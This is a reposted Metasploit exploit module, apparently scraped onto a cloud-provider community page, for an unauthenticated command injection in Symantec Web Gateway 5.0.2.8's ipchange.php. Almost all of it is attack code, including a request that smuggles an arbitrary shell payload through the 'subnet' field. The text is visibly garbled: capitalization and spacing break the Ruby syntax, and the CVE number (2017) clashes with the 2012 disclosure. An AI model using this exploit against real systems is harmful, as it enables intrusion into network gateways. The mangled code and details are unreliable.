Symantec Web Gateway 5.0.2.8 ipchange. php Command Injection

Source: Internet
Author: User


Require 'msf/core'
 
Class Metasploit3 <Msf: Exploit: Remote
Rank = ExcellentRanking
 
Include Msf: Exploit: Remote: HttpClient
 
Def initialize (info = {})
Super (update_info (info,
'Name' => "Symantec Web Gateway 5.0.2.8 ipchange. php Command Injection ",
'Description' => % q {
This module exploits a command injection vulnerability found in Symantec Web
Gateway's HTTP service due to the insecure usage of the exec () function. This module
Abuses the spywall/ipchange. php file to execute arbitrary OS commands
Authentication.
},
'License '=> MSF_LICENSE,
'Author' =>
[
'Tenable Network security', # Vulnerability Discovery
'Juan vazquez' # Metasploit module
],
'References '=>
[
['Cve', '2017-2012 '],
['Bid', '123'],
['Url', 'HTTP: // www.zerodayinitiative.com/advisories/ZDI-12-090'],
['Url', 'HTTP: // www.deletec.com/security_response/securityupdates/detail.jsp? Fid = security_advisory & pvid = security_advisory & year = 2012 & suid = 20120517_00 ']
],
'Payload' =>
{
'Badchars' => "\ x00 \ x0d \ x0a \ x26 ",
'Compat' =>
{
'Payloadtype' => 'cmd ',
'Requiredcmd' => 'generic perl ',
}
},
'Platform' => ['unix '],
'Arch '=> ARCH_CMD,
'Targets' =>
[
['Symantec Web Gateway 5.0.2.8 ', {}],
],
'Privileged' => false,
'Disclosuredate' => "May 17 2012 ",
'Defaulttarget' => 0 ))
End
 
Www.2cto.com
Def check
Res = send_request_raw ({
'Method' => 'get ',
'Url' => '/spywall/login. php'
})
 
If res and res. body = ~ /\ <Title \> Symantec Web Gateway \ <\/title \>/
Return Exploit: CheckCode: Detected
Else
Return Exploit: CheckCode: Safe
End
End
 
Def exploit
Uri = target_uri.path
Uri <'/' if uri [-1, 1]! = '/'
 
Peer = "# {rhost }:# {rport }"
 
Post_data = "subnet ="
Post_data <"\"; "+ payload. raw + ";#"
 
Print_status ("# {peer}-Sending Command injection ")
Res = send_request_cgi ({
'Method' => 'post ',
'Url' => "# {uri} spywall/ipchange. php ",
'Data' => post_data
})
 
# If the server doesn' t return the default redirection, probably
# Something is wrong
If not res or res. code! = 302 or res. headers ['location']! ~ /SW \/admin_config.php/
Print_error ("# {peer}-Probably command not executed, aborting! ")
Return
End
 
End
 
 
End

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.